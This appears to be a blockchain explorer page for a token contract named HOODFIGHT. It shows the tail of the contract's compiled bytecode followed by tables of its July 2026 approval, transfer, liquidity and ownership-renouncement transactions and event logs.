d5b6115725f83836112de565b5050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115a38261157a565b9050919050565b6115b381611599565b81146115bd575f80fd5b50565b5f813590506115ce816115aa565b92915050565b5f602082840312156115e9576115e8611576565b5b5f6115f6848285016115c0565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561163657808201518184015260208101905061161b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61165b826115ff565b6116658185611609565b9350611675818560208601611619565b61167e81611641565b840191505092915050565b5f6020820190508181035f8301526116a18184611651565b905092915050565b5f819050919050565b6116bb816116a9565b81146116c5575f80fd5b50565b5f813590506116d6816116b2565b92915050565b5f80604083850312156116f2576116f1611576565b5b5f6116ff858286016115c0565b9250506020611710858286016116c8565b9150509250929050565b5f8115159050919050565b61172e8161171a565b82525050565b5f6020820190506117475f830184611725565b92915050565b611756816116a9565b82525050565b5f60208201905061176f5f83018461174d565b92915050565b5f805f6060848603121561178c5761178b611576565b5b5f611799868287016115c0565b93505060206117aa868287016115c0565b92505060406117bb868287016116c8565b9150509250925092565b5f60ff82169050919050565b6117da816117c5565b82525050565b5f6020820190506117f35f8301846117d1565b92915050565b5f806040838503121561180f5761180e611576565b5b5f61181c858286016115c0565b925050602061182d858286016115c0565b9150509250929050565b61184081611599565b82525050565b5f6020820190506118595f830184611837565b92915050565b6118688161171a565b8114611872575f80fd5b50565b5f813590506118838161185f565b92915050565b5f806040838503121561189f5761189e611576565b5b5f6118ac858286016115c0565b92505060206118bd85828601611875565b9150509250929050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f6118fb601c83611609565b9150611906826118c7565b602082019050919050565b5f6020820190508181035f830152611928816118ef565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061197357607f821691505b6020821081036119865761198561192f565b5b50919050565b7f43616e6e6f7420647261696e20746865204c5020706f6f6c00000000000000005f82015250565b5f6119c0601883611609565b91506119cb8261198c565b602082019050919050565b5f6020820190508181035f8301526119ed816119b4565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611a28601583611609565b9150611a33826119f4565b602082019050919050565b5f6020820190508181035f830152611a5581611a1c565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611a90601e83611609565b9150611a9b82611a5c565b602082019050919050565b5f6020820190508181035f830152611abd81611a84565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611afb826116a9565b9150611b06836116a9565b9250828203905081811115611b1e57611b1d611ac4565b5b92915050565b5f606082019050611b375f830186611837565b611b44602083018561174d565b611b51604083018461174d565b949350505050565b5f611b63826116a9565b9150611b6e836116a9565b9250828201905080821115611b8657611b85611ac4565b5b9291505056fea2646970667358221220a15871c41f0f40edcd801ee3b9a8b09f14830563024ea239dd2fea197e17eeed64736f6c63430008180033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x98a9a8…13210a | 39 days agoThu, 09 Jul 2026 10:23:09 UTC | Approval | [0] 0x000000000000…4f71b4aa [1] 0x000000000000…eb649eba data: 0x000000000000000000…01a2c765 |
| 0x0760be…3992e0 | 39 days agoThu, 09 Jul 2026 10:18:59 UTC | Approval | [0] 0x000000000000…4f71b4aa [1] 0x000000000000…eb649eba data: 0x000000000000000000…01a2c765 |
| 0xd0940b…b8afa2 | 39 days agoThu, 09 Jul 2026 09:40:15 UTC | Approval | [0] 0x000000000000…4f71b4aa [1] 0x000000000000…eb649eba data: 0x000000000000000000…01a2c765 |
| 0xc93544…192d2c | 39 days agoThu, 09 Jul 2026 09:36:57 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…44b21718 data: 0x000000000000000000…144a819e |
| 0x491f17…5ad0fb | 39 days agoThu, 09 Jul 2026 09:36:56 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…4f71b4aa data: 0x000000000000000000…01a2c765 |
| 0xafb821…1228e9 | 39 days agoThu, 09 Jul 2026 09:27:21 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…e103de52 data: 0x000000000000000000…14980000 |
| 0xafb821…1228e9 | 39 days agoThu, 09 Jul 2026 09:27:21 UTC | 0x857ac1…924d | [0] 0x000000000000…eb649eba [1] 0x000000000000…e103de52 data: 0x000000000000000000…31671c4f |
| 0xafb821…1228e9 | 39 days agoThu, 09 Jul 2026 09:27:21 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…e103de52 data: 0x000000000000000000…31671c4f |
| 0xafb821…1228e9 | 39 days agoThu, 09 Jul 2026 09:27:21 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…eb649eba data: 0x000000000000000000…45ff1c4f |
| 0x9d414a…8e9684 | 39 days agoThu, 09 Jul 2026 07:53:43 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…b4c8217a data: 0x000000000000000000…7bb8b966 |
| 0x57bdc9…85c71d | 39 days agoThu, 09 Jul 2026 07:53:41 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…c2c0fba5 data: 0x000000000000000000…4bde0f38 |
| 0x9c1f3b…fae518 | 39 days agoThu, 09 Jul 2026 07:53:38 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…3acca67d data: 0x000000000000000000…2ad220ee |
| 0x7eb5ad…4cbdd6 | 39 days agoThu, 09 Jul 2026 07:53:35 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…5cee5ac3 data: 0x000000000000000000…16e5231e |
| 0x58a233…e73552 | 39 days agoThu, 09 Jul 2026 07:53:33 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…f1623162 data: 0x000000000000000000…764b8410 |
| 0x110bea…e69251 | 39 days agoThu, 09 Jul 2026 07:53:30 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…6140bece data: 0x000000000000000000…7fcb16b2 |
| 0x12df7b…5db23a | 39 days agoThu, 09 Jul 2026 07:53:27 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…b4011d9f data: 0x000000000000000000…03382c27 |
| 0xa6661d…3a68bc | 39 days agoThu, 09 Jul 2026 07:53:25 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…c846ee72 data: 0x000000000000000000…b6158d32 |
| 0xb16043…6d3e76 | 39 days agoThu, 09 Jul 2026 07:53:22 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…e8830db8 data: 0x000000000000000000…f7d83e48 |
| 0x72018d…afde24 | 39 days agoThu, 09 Jul 2026 07:53:19 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…43d854a1 data: 0x000000000000000000…2cbdd1f1 |
| 0x538332…046ffc | 39 days agoThu, 09 Jul 2026 07:53:16 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…3b18a8c5 data: 0x000000000000000000…b71897b4 |
| 0x75e6f8…67e0ad | 39 days agoThu, 09 Jul 2026 07:53:13 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…49d509e8 data: 0x000000000000000000…b209345e |
| 0x4b523d…a93cad | 39 days agoThu, 09 Jul 2026 07:53:11 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…d051d75e data: 0x000000000000000000…5381cb9f |
| 0x14dc55…43bb0e | 39 days agoThu, 09 Jul 2026 07:53:08 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…a03db29c data: 0x000000000000000000…60286434 |
| 0x07c06a…4a3a6c | 39 days agoThu, 09 Jul 2026 07:53:06 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…7e50fec8 data: 0x000000000000000000…92c2cd33 |
| 0x5828ac…dda91a | 39 days agoThu, 09 Jul 2026 07:52:35 UTC | Transfer | [0] 0x000000000000…44b21718 [1] 0x000000000000…7e50fec8 data: 0x000000000000000000…6b5defac |
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| no internal transactions found for this address yet (traced blocks + on-demand) | ||||||||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x98a9a8…13210a | Approve | 5,142,349 | 39 days agoThu, 09 Jul 2026 10:23:09 UTC | 0x4194…b4aa | IN | HOODFIGHT | $0.000 ETH | 0.00000062 | |
| 0x0760be…3992e0 | Approve | 5,139,865 | 39 days agoThu, 09 Jul 2026 10:18:59 UTC | 0x4194…b4aa | IN | HOODFIGHT | $0.000 ETH | 0.00000062 | |
| 0xd0940b…b8afa2 | Approve | 5,116,738 | 39 days agoThu, 09 Jul 2026 09:40:15 UTC | 0x4194…b4aa | IN | HOODFIGHT | $0.000 ETH | 0.00000107 | |
| 0x61cff3…60ee2c | Approve | 5,030,652 | 39 days agoThu, 09 Jul 2026 07:16:02 UTC | 0x46e0…1214 | IN | HOODFIGHT | $0.000 ETH | 0.00000109 | |
| 0x9eb0cc…27252d | Approve | 4,997,824 | 40 days agoThu, 09 Jul 2026 06:21:02 UTC | 0x1760…5ac3 | IN | HOODFIGHT | $0.000 ETH | 0.00000113 | |
| 0x306958…ff466d | Approve | 4,996,929 | 40 days agoThu, 09 Jul 2026 06:19:32 UTC | 0xc66e…a8c5 | IN | HOODFIGHT | $0.000 ETH | 0.00000113 | |
| 0x6a01c6…f56c4a | Approve | 4,996,343 | 40 days agoThu, 09 Jul 2026 06:18:34 UTC | 0xefd9…d75e | IN | HOODFIGHT | $0.000 ETH | 0.00000112 | |
| 0x514160…4539a1 | Approve | 4,995,574 | 40 days agoThu, 09 Jul 2026 06:17:16 UTC | 0x8c23…ee72 | IN | HOODFIGHT | $0.000 ETH | 0.00000111 | |
| 0xf90ed9…d3f557 | Approve | 4,995,087 | 40 days agoThu, 09 Jul 2026 06:16:27 UTC | 0x4642…1d9f | IN | HOODFIGHT | $0.000 ETH | 0.00000112 | |
| 0x60ec61…cd4819 | Approve | 4,994,792 | 40 days agoThu, 09 Jul 2026 06:15:58 UTC | 0x9c33…09e8 | IN | HOODFIGHT | $0.000 ETH | 0.00000113 | |
| 0x871d75…148cfb | Approve | 4,994,286 | 40 days agoThu, 09 Jul 2026 06:15:07 UTC | 0x532a…217a | IN | HOODFIGHT | $0.000 ETH | 0.00000110 | |
| 0x2e396b…0b1c4b | Approve | 4,994,168 | 40 days agoThu, 09 Jul 2026 06:14:55 UTC | 0xbdd1…a67d | IN | HOODFIGHT | $0.000 ETH | 0.00000111 | |
| 0xddef29…0f84bb | Approve | 4,994,104 | 40 days agoThu, 09 Jul 2026 06:14:49 UTC | 0x4dac…fba5 | IN | HOODFIGHT | $0.000 ETH | 0.00000109 | |
| 0xde38cd…16b91c | Approve | 4,994,030 | 40 days agoThu, 09 Jul 2026 06:14:42 UTC | 0x62dd…b29c | IN | HOODFIGHT | $0.000 ETH | 0.00000111 | |
| 0x00fa23…39dbca | Approve | 4,993,956 | 40 days agoThu, 09 Jul 2026 06:14:34 UTC | 0x733b…bece | IN | HOODFIGHT | $0.000 ETH | 0.00000110 | |
| 0xc0b7d2…72d6e5 | Approve | 4,993,903 | 40 days agoThu, 09 Jul 2026 06:14:29 UTC | 0x8f74…fec8 | IN | HOODFIGHT | $0.000 ETH | 0.00000109 | |
| 0xe1392d…d5d871 | Approve | 4,993,832 | 40 days agoThu, 09 Jul 2026 06:14:22 UTC | 0x17fa…54a1 | IN | HOODFIGHT | $0.000 ETH | 0.00000110 | |
| 0x6315ae…da105a | Approve | 4,993,730 | 40 days agoThu, 09 Jul 2026 06:14:11 UTC | 0x2208…0db8 | IN | HOODFIGHT | $0.000 ETH | 0.00000110 | |
| 0xc18e18…cf4c99 | Approve | 4,993,658 | 40 days agoThu, 09 Jul 2026 06:14:04 UTC | 0xfb87…3162 | IN | HOODFIGHT | $0.000 ETH | 0.00000109 | |
| 0x84b101…9ab281 | setLiquidityPool | 4,993,250 | 40 days agoThu, 09 Jul 2026 06:13:23 UTC | 0x25ba…de52 | IN | HOODFIGHT | $0.000 ETH | 0.00000107 | |
| 0xa74a63…f84914 | Approve | 4,992,749 | 40 days agoThu, 09 Jul 2026 06:12:33 UTC | 0x4ae0…1bdf | IN | HOODFIGHT | $0.000 ETH | 0.00000110 | |
| 0x99f6a6…9d88f9 | addLiquidity | 4,992,577 | 40 days agoThu, 09 Jul 2026 06:12:15 UTC | 0x25ba…de52 | IN | HOODFIGHT | $0.000 ETH | 0.00000086 | |
| 0xea01be…cb04e4 | Approve | 4,992,070 | 40 days agoThu, 09 Jul 2026 06:11:24 UTC | 0x25ba…de52 | IN | HOODFIGHT | $0.000 ETH | 0.00000109 | |
| 0xff2955…4b3ad0 | renounceOwnership | 4,990,701 | 40 days agoThu, 09 Jul 2026 06:09:06 UTC | 0x25ba…de52 | IN | HOODFIGHT | $0.000 ETH | 0.00000055 |